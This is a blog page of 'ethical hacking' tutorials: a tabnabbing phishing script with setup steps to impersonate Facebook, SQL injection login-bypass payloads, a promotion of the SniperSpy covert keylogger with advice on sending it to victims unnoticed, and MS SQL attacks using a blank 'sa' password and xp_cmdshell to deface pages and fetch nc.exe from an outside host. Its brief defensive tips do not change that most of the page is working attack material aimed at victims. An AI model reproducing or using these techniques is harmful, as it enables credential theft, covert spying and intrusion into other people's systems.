Learn Ethical hacking

Saturday, 21 July 2012

Advanced Tabnabbing For Hackers

Hey friends, today i am going to How to Hack emails, social networking websites and other websites involving login information. The technique that i am going to teach you today is Advanced Tabnabbing.

I will explain this tutorial using attack scenario and live example and how to protect yourself from such stuff.

Let consider a attack scenario:

1. A hacker say(me Lokesh) customizes current webpage by editing/adding some new parameters and variables.( check the code below for details)

2. I (Hacker) sends a copy of this web page to victim whose account or whatever i want to hack.

3. Now when user opens that link, a webpage similar to this one will open in iframe containing the real page with the help of java script.

4. The user will be able to browse the website like the original one, like forward backward and can navigate through pages.

5. Now if victim left the new webpage open for certain period of time, the tab or website will change to Phish Page or simply called fake page which will look absolutely similarly to original one.

6. Now when user enter his/her credentials (username/password), he is entering that in Fake page and got trapped in our net that i have laid down to hack him.

Here end's the attack scenario for advanced tabnabbing.

Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse, you will be solely responsible for any misuse that you do. Hacking email accounts is criminal activity and is punishable under cyber crime and you may get upto 10 years of imprisonment, if got caught in doing so.

Before coding Part lets first share tips to protect yourself from this kind of attack because its completely undetectable and you will never be able to know that your account is got hacked or got compromised. So first learn how to protect our-self from Advanced Tabnabbing.

Follow below measure to protect yourself from Tabnabbing:

1. Always use anti-java script plugin's in your web browser that stops execution of malicious javascripts. For example: Noscript for Firefox etc.

2. If you notice any suspicious things happening, then first of all verify the URL in the address bar.

3. If you receive any link in the Email or chat message, never directly click on it. Always prefer to type it manually in address bar to open it, this may cost you some manual work or time but it will protect you from hidden malicious URL's.

4. Best way is to use any good web security toolbar like AVG web toolbar or Norton web security toolbar to protect yourself from such attacks.

5. If you use ideveloper or Firebug, then verify the headers by yourself if you find something suspicious.

That ends our security Part. Here ends my ethical hacker duty to notify all users about the attack. Now lets start the real stuff..

Note: Aza Raskin was the first person to propose the technique of tabnabbing and still we follow the same concept. I will just extend his concept to next level.

First sample code for doing tabnabbing with the help of the code given below.

<html>
<head><title></title></head>
<style type="text/css">
html {overflow: auto;}
html, body, div, iframe {margin: 0px; padding: 0px; height: 100%; border: none;}
iframe {display: block; width: 100%; border: none; overflow-y: auto; overflow-x: hidden;}
</style>
<body>

<script type="text/javascript">
//----------Set Script Options--------------
var REAL_PAGE_URL = "http://www.google.com/"; //This is the "Real" page that is shown when the user first views this page
var REAL_PAGE_TITLE = "Google"; //This sets the title of the "Real Page"
var FAKE_PAGE_URL = "http://www.innocenthacker.in"; //Set this to the url of the fake page
var FAKE_PAGE_TITLE = "InnocentHacker| Next Generation Hackers Portal"; //This sets the title of the fake page
var REAL_FAVICON = "http://www.google.com/favicon.ico"; //This sets the favicon. It will not switch or clear the "Real" favicon in IE.
var FAKE_FAVICON = "http://www.innocenthacker.in/favicon.ico"; //Set's the fake favicon.
var TIME_TO_SWITCH_IE = "4000"; //Time before switch in Internet Explorer (after tab changes to fake tab).
var TIME_TO_SWITCH_OTHERS = "10000"; //Wait this long before switching .
//---------------End Options-----------------
var TIMER = null;
var SWITCHED = "false";

//Find Browser Type
var BROWSER_TYPE = "";
if(/MSIE (\d\.\d+);/.test(navigator.userAgent)){
BROWSER_TYPE = "Internet Explorer";
}
//Set REAL_PAGE_TITLE
document.title=REAL_PAGE_TITLE;

//Set FAVICON
if(REAL_FAVICON){
var link = document.createElement('link');
link.type = 'image/x-icon';
link.rel = 'shortcut icon';
link.href = REAL_FAVICON;
document.getElementsByTagName('head')[0].appendChild(link);
}

//Create our iframe (tabnab)
var el_tabnab = document.createElement("iframe");
el_tabnab.id="tabnab";
el_tabnab.name="tabnab";
document.body.appendChild(el_tabnab);
el_tabnab.setAttribute('src', REAL_PAGE_URL);

//Focus on the iframe (just in case the user doesn't click on it)
el_tabnab.focus();

//Wait to nab the tab!
if(BROWSER_TYPE=="Internet Explorer"){ //To unblur the tab changes in Internet Web browser
el_tabnab.onblur = function(){
TIMER = setTimeout(TabNabIt, TIME_TO_SWITCH_IE);
}
el_tabnab.onfocus= function(){
if(TIMER) clearTimeout(TIMER);
}
} else {
setTimeout(TabNabIt, TIME_TO_SWITCH_OTHERS);
}

function TabNabIt(){
if(SWITCHED == "false"){
//Redirect the iframe to FAKE_PAGE_URL
el_tabnab.src=FAKE_PAGE_URL;
//Change title to FAKE_PAGE_TITLE and favicon to FAKE_PAGE_FAVICON
if(FAKE_PAGE_TITLE) document.title = FAKE_PAGE_TITLE; //Change the favicon -- This doesn't seem to work in IE
if(BROWSER_TYPE != "Internet Explorer"){
var links = document.getElementsByTagName("head")[0].getElementsByTagName("link");
for (var i=0; i<links.length; i++) {
var looplink = links[i];
if (looplink.type=="image/x-icon" && looplink.rel=="shortcut icon") {
document.getElementsByTagName("head")[0].removeChild(looplink);
}
}
var link = document.createElement("link");
link.type = "image/x-icon";
link.rel = "shortcut icon";
link.href = FAKE_FAVICON;
document.getElementsByTagName("head")[0].appendChild(link);
}
}
}
</script>

</body>
</html>

Now what you need to replace in this code to make it working say for Facebook:
1. REAL_PAGE_URL : www.facebook.com
2. REAL_PAGE_TITLE : Welcome to Facebook - Log In, Sign Up or Learn More
3. FAKE_PAGE_URL : Your Fake Page or Phish Page URL
4. FAKE_PAGE_TITLE : Welcome to Facebook - Log In, Sign Up or Learn More
5. REAL_FAVICON : www.facebook.com/favicon.ico
6. FAKE_FAVICON : Your Fake Page URL/favicon.ico ( Note: Its better to upload the facebook favicon, it will make it more undetectable)
7. BROWSER_TYPE : Find which web browser normally user uses and put that name here in quotes.
8. TIME_TO_SWITCH_IE : Put numeric value (time) after you want tab to switch.
9. TIME_TO_SWITCH_OTHERS : Time after which you want to switch back to original 'real' page or some other Page.

Now as i have explained earlier you can use this technique to hack anything like email accounts, Facebook or any other social networking website. What you need to do is that just edit the above mentioned 9 fields and save it as anyname.htm and upload it any free web hosting website along with favicon file and send the link to user in form of email or chat message ( hidden using href keyword in html or spoofed using some other technique).

That's all for today. I hope you all enjoyed some advanced stuff.

Enjoy..!!

SQL Injection tutorial to Hack websites

For the sake of new users who wish to learn website hacking and SQL injection, i am writing this article at such a basic level that the user who didn't even have any prior knowledge of SQL can start SQL Injecting websites. This article is also beneficial for hackers too as it will refresh their concepts that what really we have to do and look into website URL if we want to hack website or its database using SQL injection. So Guys read on very basic SQL injection tutorial..

What is SQL Injection?

Basically SQL Injections or simply called Structured Query Language Injection is a technique that exploits the loop hole in the database layer of the application. This happens when user mistakenly or purposely(hackers) enters the special escape characters into the username password authentication form or in URL of the website. Its basically the coding standard loop hole. Most website owners doesn't have proper knowledge of secure coding standards and that results into the vulnerable websites. For better understanding, suppose you opened a website and went to his Sign in or log in page. Now in username field you have entered something say LOKESH and in the password box you pass some escape characters like ',",1=1, etc... Now if the website owner hasn't handled null character strings or escape characters then user will surely get something else that owner never want their users to view.. This is basically called Blind SQL.

Requirements for SQL Injection:

1. You need a web browser to open URL and viewing source codes.

2. Need a good editor like Notepad ++ to view the source codes in colored format so that you can easily distinguish between the things.

3. And very basic knowledge of some SQL queries like SELECT, INSERT, UPDATE, DELETE etc..

What you should look into website to detect is it vulnerable to SQL injection attack or not?

First of all you can hack those websites using SQL injection hacks that allows some input fields from which can provide input to website like log in page, search page, feedback page etc. Nowadays, HTML pages use POST command to send parameters to another ASP/ASPX page. Therefore, you may not see the parameters in the URL. However, you can check thesource code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:

< F O R M action=login. aspx method=post>
< i n p u t type=hidden name=user v a l u e=xyz>
< / F O R M>

Everything between the < f o r m > and < / f o r m > parameters (remove spaces in words) contains the crucial information and can help us to determine things in more detailed way.

There is alternate method for finding vulnerable website, the websites which have extension ASP, ASPX, JSP, CGI or PHP try to look for the URL's in which parameters are passed. Example is shown below:

http://example.com/login.asp?id=10

Now how to detect that this URL is vulnerable or not:

Start with single quote trick, take sample parameter as hi'or1=1--. Now in the above URL id is the parameter and 10 is its value. So when we pass hi'or1=1-- as parameter the URL will look like this:

http://example.com/login.asp?id=hi' or 1=1--

You can also do this with hidden field, for that you need to save the webpage and had to made changes to URL and parameters field and modify it accordingly. For example:

< F O R M action=http://example.com/login. asp method=p o s t >
< i n p u t type=hidden name=abc value="hi' or 1=1--">
< / F O R M >

If your luck is favoring you, you will get the login into the website without any username or password.

But why ' or 1=1-- ?
Take an asp page that will link you to another page with the following URL:

http://example.com/search.asp?category=sports

In this URL 'category' is the variable name and 'sports' is it's value.

Here this request fires following query on the database in background.

SELECT * FROM TABLE-NAME WHERE category='sports'

Where 'TABLE-NAME' is the name of table which is already present in some database.
So, this query returns all the possible entries from table 'search' which comes under the category 'sports'.

Now, assume that we change the URL into something like this:

http://example.com/search.asp?category=sports' or 1=1--

Now, our variable 'category' equals to "sports' or 1=1-- ", which fires SQL query on database something like:
SELECT * FROM search WHERE category='sports' or 1=1--'

The query should now select everything from the 'search' table regardless if category is equal to 'sports' or not.
A double dash "--" tell MS SQL server to ignore the rest of the query, which will get rid of the last hanging single quote (').
Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try

' or 'a'='a

It should return the same result.
Depending on the actual SQL query, you may have to try some of these possibilities:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
'or''='

How to protect you own websites from SQL injection?

Filter out character like ' " - / \ ; NULL, etc. in all strings from:
* Input from users
* Parameters from URL
* Values from cookie

That's all

Enjoy..!!

How to Use Keyloggers

How to Use Keyloggers – Detailed Tutorial

Here is a DETAILED tutorial which contains every possible information that you need to know about keyloggers.

I know most of you are new to the concept of keyloggers. For some of you, this might be the first time you heard about the term “keylogger”. So, to give you a clear picture and make you understand better, I would like to take up this post in the form of FAQs (Frequently Asked Questions). Here we go…

NOTE: I highly recommend that you read this post completely since every single piece of information is important.

1. What is a Keylogger?

A keylogger (also called as spy software) is a small program that monitors each and every keystroke a user types on a specific computer’s keyboard. A keylogger program can be installed in just a few seconds and once installed, you are only a step away from getting the target password and other sensitive data.

2. How Keylogger works?

Once the keylogger is installed on a PC, it starts operating in the background (stealth mode) and captures every keystroke of the target computer.

Let’s take up a small example: The user on the target computer goes tohttp://mail.yahoo.com and types his “username” and the “password” in the respective fields to login. The keylogger silently records these keystrokes and stores them in the logs. These logs when opened up shows the captured “username” and “password“. Along with this, you will also be shown that they were typed in the Yahoo login page. Thus, the keylogger loads upon every startup, runs in the background and captures each and every keystroke.

3. How to install the keylogger?

A keylogger can be installed just like any other program. Just follow the screen instructions and you’re done.

4. Do I need any special knowledge to install and use the keylogger?

Absolutely NOT! Anyone with a basic computer knowledge can install and use the keylogger. It requires no special skills.

5. Once I install the keylogger can the victim come to know about it’s presence?

No. The victim will never come to know about the presence of the keylogger on his/her computer. This is because, once installed, the keylogger will run in total stealth mode. Unlike other programs, it will never show up in the start-menu, windows startup, program files, add/remove programs or the task manager. So, the victim can no way identify it’s presence on his/her PC.

6. Can I be traced back if I install the keylogger on some other computer?

No, it’s almost impossible to trace back to you for installing the keylogger on other’s PC.

7. Which keylogger is the best?

Today, there exists hundreds of keyloggers on the market and most of them are no more than a scam. So, I have personally tested some of the top keyloggers and conclude that the following is the best one:

Download SniperSpy

8. How SniperSpy works?

I will try to explain the working of Sniperspy in simple steps:

After you purchase Sniperspy, you’ll be able to create the installation module using an easy set-up program. You need to email this module to the remote user as an attachment.
When the remote user runs the module it’ll get installed silently and monitoring process will begin. The keystrokes are captured and uploaded to the SniperSpy servers continuously.
You can login to your Sniperspy account (you get this after purchase) to see the logs which contains the password.

9. I don’t have physical access to the target computer. Can I still use SniperSpy?

Yes you can! SniperSpy supports REMOTE INSTALLATION feature which allows you to remotely install the program on any PC even if you have no physical access to it. For remote installation, all you need to do is just place the module (refer FAQ-8) in a .zip/.rar file and send it as an attachment to the target email address (for which you need the password).

10. Can I install SniperSpy on a local computer?

If you need to install to your local (current) computer instead of your remote computer, then the process is simple. Simply navigate to the folder in which you saved your module ( Refer FAQ-8). Double-click the module filename to execute it. Nothing will appear on the screen but the software gets installed silently.

11. What if the antivirus prevent from sending it as an email attachment?

Instead of sending the keylogger as an email attachment, it is recommended that you place the file in .ZIP/.RAR format and upload it to www.fileden.com. After uploading, just send the direct download link to the victim via email. Once he downloads the file from this link and run it, the keylogger will get installed automatically.

12. Why SniperSpy is the best?

SniperSpy supports REMOTE INSTALLATION feature. This feature is not present on most of the keyloggers.
SniperSpy is fully compatible with Windows 2000/XP/Vista/7 and alsoMac.
SniperSpy canbypass any Firewall.
SniperSpy is more reliable than any other keylogger program. You need not rely on your email account to receive the logs. Instead, you can just log in to your online SniperSpy account to receive the logs.
SniperSpy captures full-size screenshots of the activities on the target PC.
Records BOTH sides of chats / IMs in Google Talk, Yahoo IM, Windows Live and more.
SniperSpy is more easy to install and requires no extra knowledge.
SniperSpy is recognized by BBC, CNN, CBS and other news networks. Hence, it isreputed and trustworthy.

13. How safe is to use SniperSpy?

Sniperspy is completely safe to use since all the customer databases remain confidential and private. SniperSpy do not collect any information from your system other than the information required for the product’s successful operation. They will not contact you in any way unless you request assistance.

14. Is my online order Safe and Secure?

Absolutely Yes! All the e-commerce transactions for SniperSpy is handled by Plimus – they are a trusted online retailer specializing in digitally delivered products. All your information remains private and secure. The safety and protection of your personal information is 100% guaranteed. So, you can place your order for SniperSpy with no worries of scam!

SniperSpy is completely reliable, safe and the best keylogger out there. It is really worth the price that you pay for it. I promise that you cannot get a better keylogger than this. So, what are you waiting for? Go grab SniperSpy now and expose the truth!

Download SniperSpy for Windows

Download SniperSpy for Mac

Hacking Database Servers

Databases have been the heart of a commercial website. An attack on the database servers can cause a great monetary loss for the company. Database servers are usually hacked to get the credit card information. And just one hack on a commercial site will bring down its reputation and also the customers as they also want their credit card info secured. Most of the commercial websites use Microsoft sql (MSsql) and Oracle database servers. MS sql still owns the market because the price is very low. While Oracle servers come with high price. Well some time ago Oracle had claimed itself to be “unbreakable” But hackers took it as a challenge and showed lots of bugs in it also !! I was addicted to hacking of database servers from a few months. So I just decided to share the knowledge with others. Well the things discussed here are not discovered by me ok. Yeah I experimented with them a lot.

user will type his login name and password in login.htm page and click the submit button. The value of the text boxes will be passed to the logincheck.asp page where it will be checkedusing the query string. If it doesn't get an entry satisfying the query and will reach end of file a message of login failed will be displayed. Every thing seems to be OK. But wait a minute. Think again. Is every thing really OK ?!! What about the query ?!! Is it OK. Well if you have made a page like this then a hacker can easily login successfully without knowing the password. How ? Lets look at the querry again.

"Select * from table1 where login='"&log& "' and password='" &pwd& "' "

Now if a user types his login name as "Chintan" and password as "h4x3r" then these values will pass to the asp page with post method and then the above query will become

"Select * from table1 where login=' Chintan ' and password=' h4x3r ' "

Thats fine. There will be an entry Chintan and h4x3r in login and password fields in the database so we will receive a message as login successful. Now what if I type loginname as "Chintan" and password as
hi' or 'a'='a in the password text box ? The query will become as follows:

"Select * from table1 where login=' Chintan ' and password=' hi' or 'a'='a ' "

And submit and bingo!!!!! I will get the message as Login successful !! Did you see the smartness of hacker which was due to carelessness of web designer ? !!
The query gets satisfied as query changes and password needs to 'hi' or 'a' needs to be equal to 'a'. Clearly password is not 'hi' but at the same time 'a'='a' . So condition is satisfied. And a hacker is in with login "Chintan" !! You can try the following in the password text box if the above doesn't work for some websites:

hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a

Here above -- will make the rest of the query string to be a comment other conditions will not be checked. Similary you can provide

Chintan ' --
Chintan " --

or such types of other possibilites in the login name textbox and password as anything which might let you in. Because in the query string only login name is checked as "Chintan" and rest is ignored due to --. Well if you are lucky enough you get such a website were the webdesigner has done the above mistake and then you will be able to login as any user !!!

IMP NOTE: Hey guys I have put up a page where you can experiment for yourself about thesql injection vulnerablity. Just go to www33.brinkster.com/chintantrivedi/login.htm
More advance hacking of Databases using ODBC error messages!!!
--------------------------------------------------------------

Above we saw as to how login successfully without knowing password. Now over here I will show you how to read the whole database just by using queries in the URL !! And this works only for IIS i.e asp pages. And we know that IIS covers almost 35% of the web market. So you will definitely get a victim just after searching a few websites. You might have seen something like

http://www.nosecurity.com/mypage.asp?id=45

in the URLs. '?' over there shows that after it, 45 value is passed to a hidden datatype id. Well if you don't understand then as we have seen in the above example in the login.htm, having two input text types with names 'login_name' and 'pass' and there values were passed to logincheck.asp page. The same thing can be done by directly opening the logincheck.asp page using
http://www.nosecurity.com/logincheck.asp?login_name=Chintan&pass=h4x3r
in the URL if method="get" is used instead of method="post".

Note : or Difference between get and post method is that post method doesn't show up values passed to next paged in the url while get method shows up the values. To get more understanding of how they internally work read HTTP protocol RFC 1945 and RFC 2616.

What i mean to say is that after '?' the variables which are going to be used in that page are assigned the values. As above login_name is given value Chintan. And different variables are separated by operator '&'.

OK so coming back, id will mostly be hidden type and according to the links you click its value will change. This value of id is then passed in the query in mypage.asp page and according tothe results you get the desired page at your screen. Now if just change the value of id as 46 then you will get different page.
Now lets start our hacking the database. Lets use the magic of queries. Just type

http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

in the URL. INFORMATION_SCHEMA.TABLES is a system table and it contains information of all the tables of the server. In that there is field TABLE_NAME which contains names of all the tables. See the query again
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
The result of this query is the first table name from INFORMATION_SCHEMA.TABLES table. But the result we get is a table name which is a string(nvarchar) and we are uniting it with 45(integer) by UNION. So we will get an error message as

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'logintable' to a column ofdata type int. /mypage.asp, line

From the error its clear that first table is 'logintable'. It seems that this table might contain login names and passwords :-) So lets move in it. Type the following in the URL

http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'--

output
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar
value 'login_id' to a column of data type int.
/index.asp, line 5

The above error message shows that the first field or column in logintable is login_id. To get the next column name will type

http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id')--

Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar
value 'login_name' to a column of data type int.
/index.asp, line 5

So we get one more field name as 'login_name'. To get the third field name we will write

http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id','login_name')--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar
value 'passwd' to a column of data type int.
/index.asp, line 5

Thats it. We ultimately get the 'passwd' field. Now lets get the login names and
passwords from this table "logintable". Type

http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 login_name FROM logintable--

Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar
value 'Rahul' to a column of data type int.
/index.asp, line 5

Thats the login name "Rahul" and to get the password of Rahul the query would be

http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 password FROM logintable
where login_name='Rahul'--

Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar
value 'P455w0rd' to a column of data type int.
/index.asp, line 5

Voila!! login name: Rahul and password: P455w0rd. You have cracked the database of
www.nosecurity.com And's it was possible to the request of user was not checked properly. SQL
vulnerabilities still exist on many websites. The best solution is to parse the user requests and
filter out some characters as ',",--,:,etc.

Part II - using port 1434 (SQL Port)
-------------------------------------

Well uptill now we had seen how to break the database using the malformed URLs But that was done using just port 80 (http port) But this time we would use the port 1434 for hacking. Before that we will see what actually database servers are and how do they work and then how to exploit them !

The designers of MS sql gave some default stored procedures along with the product to make things flexible to the webdesigners. The procedure is nothing but functions which can used to perform some actions on the arguments passed to them. This procedures are very important to hackers. Some of the important ones are

sp_passsword -> Changes password for a specific login name.
e.g. EXEC sp_password ‘oldpass’, ‘newpass’, ‘username’

sp_tables -> Shows all the tables in the current database.
e.g. EXEC sp_tables

xp_cmdshell -> Runs arbitary command on the machine with administrator privileges. (most imp)

xp_msver -> Shows the MS SQL server version including the all info about the OS.
e.g. master..xp_msver

xp_regdeletekey -> Deletes a registry key.

xp_regdeletevalue ->Delets a registry value

xp_regread -> Reads a registry value

xp_regwrite -> Writes a registry key.

xp_terminate_process -> Stops a process

Well these are some important procedures. Actually there are more than 50 such types of procedures. If you want your MS SQL server to be protected then I would recommend to delete all of these procedures. The trick is open the Master database using MS SQL Server Enterprise Manager. Now expand the Extended Stored Procedures folder and delete the stored procedure by right click and delete.

Note: “Master” is an important database of the SQL server which contains all system information like login names and system stored procedures. So if a hacker deletes this master database then the SQL server will be down for ever. Syslogins is the default system table which contains the usernames and passwords of logins in the database.

Most dangerous threat : The Microsoft SQL server has default username “sa” with password blank “”. And this has ruined lots of MS sql servers in the past. Even a virus regarding this vulnerability had been released.

Thatz enough. Lets hack now. First we need to find out a vulnerable server. Download a good port scanner (many out there on web ) and scan for ip addresses having port 1433/1434 (tcp or udp) open. This is the MS Sql port which runs the sql service. Oracle’s port no. is 1521. Lets suppose we got a vulnerable server with ip 198.188.178.1 (its just an example so don’t even try it) Now there are many ways to use the SQL service. Like telnet or netcat to port no. 1433/1434. You can also use a tool known as osql.exe which ships with any SQL server 2000. Okz. Now go to dos prompt and type.

C:>osql.exe -?
osql: unknown option ?
usage: osql [-U login id] [-P password]
[-S server] [-H hostname] [-E trusted connection]
[-d use database name] [-l login timeout] [-t query timeout]
[-h headers] [-s colseparator] [-w columnwidth]
[-a packetsize] [-e echo input] [-I Enable Quoted Identifiers]
[-L list servers] [-c cmdend]
[-q "cmdline query"] [-Q "cmdline query" and exit]
[-n remove numbering] [-m errorlevel]
[-r msgs to stderr] [-V severitylevel]
[-i inputfile] [-o outputfile]
[-p print statistics] [-b On error batch abort]
[-O use Old ISQL behavior disables the following]
batch processing
Auto console width scaling
Wide messages
default errorlevel is -1 vs 1
[-? show syntax summary]

Well, this displays the help of the osql tool. Its clear from the help what we have to do now. Type

C:\> osql.exe –S 198.188.178.1 –U sa –P “”
1>
Thats what we get if we login successfully else we will get an error message as login failed for user “sa”

Now if we want to execute any command on the remote machine then just use the “xp_cmdshell” default stored procedure.

C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘dir >dir.txt’”

I would prefer to use –Q option instead of –q because it exits after executing the query. In the same manner we can execute any command on the remote machine. We can even upload or download any files on/from the remote machine. A smart attacker will install a backdoor on the machine to gain access to in future also. Now as I had explained earlier we can use the “information_schema.tables” to get the list of tables and contents of it.

C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from information_schema.tables”

And getting table names look for some table like login or accounts or users or something like that which seems to contain some important info like credit card no. etc.

C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from users”

And

C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select username, creditcard, expdate from users”

Output:

Username creditcard expdate
----------- ------------ ----------
Jack 5935023473209871 2004-10-03 00:00:00.000
Jill 5839203921948323 2004-07-02 00:00:00.000
Micheal 5732009850338493 2004-08-07 00:00:00.000
Ronak 5738203981300410 2004-03-02 00:00:00.000

Write something in index.html file ?

C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘echo defaced by Chintan > C:\inetpub\wwwroot\index.html’”

Wanna upload any file on the remote system.

C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘tftp 203.192.16.12 GET nc.exe c:\nc.exe’”

And to download any file we can use the PUT request instead of GET Its just because this commands are being executed on the remote machine and not on ours. So if you give the GET request the command will be executed on the remote machine and it will try to get the nc.exe file from our machine to the remote machine.

Thatz not over. Toolz for hacking the login passwords of Sql servers are easily available on the web. Even many buffer overflows are being discovered which can allow user to gain the complete control of the sytem with administrator privileges. The article is just giving some general issues about database servers.

Remember the Sapphire worm? Which was released on 25th Jan. The worm which exploited three known vulnerabilities in the SQL servers using 1433/1434 UDP ports.

Precautionay measures
---------------------------

<*> Change the default password for sa.
<*> Delete all the default stored procedures.
<*> Filter out all the characters like ',",--,:,etc.
<*> Keep upto date with patches
<*> Block the ports 1433/1434 MS SQL and 1521 (oracle) ports using firewalls.

Remember security is not an add-on feature. It depends upon the smartness of administrator. The war between the hacker and administrator will go on and on and on…. The person who is aware with the latest news or bug reports will win the war. Database admins should keep in touch with some sites.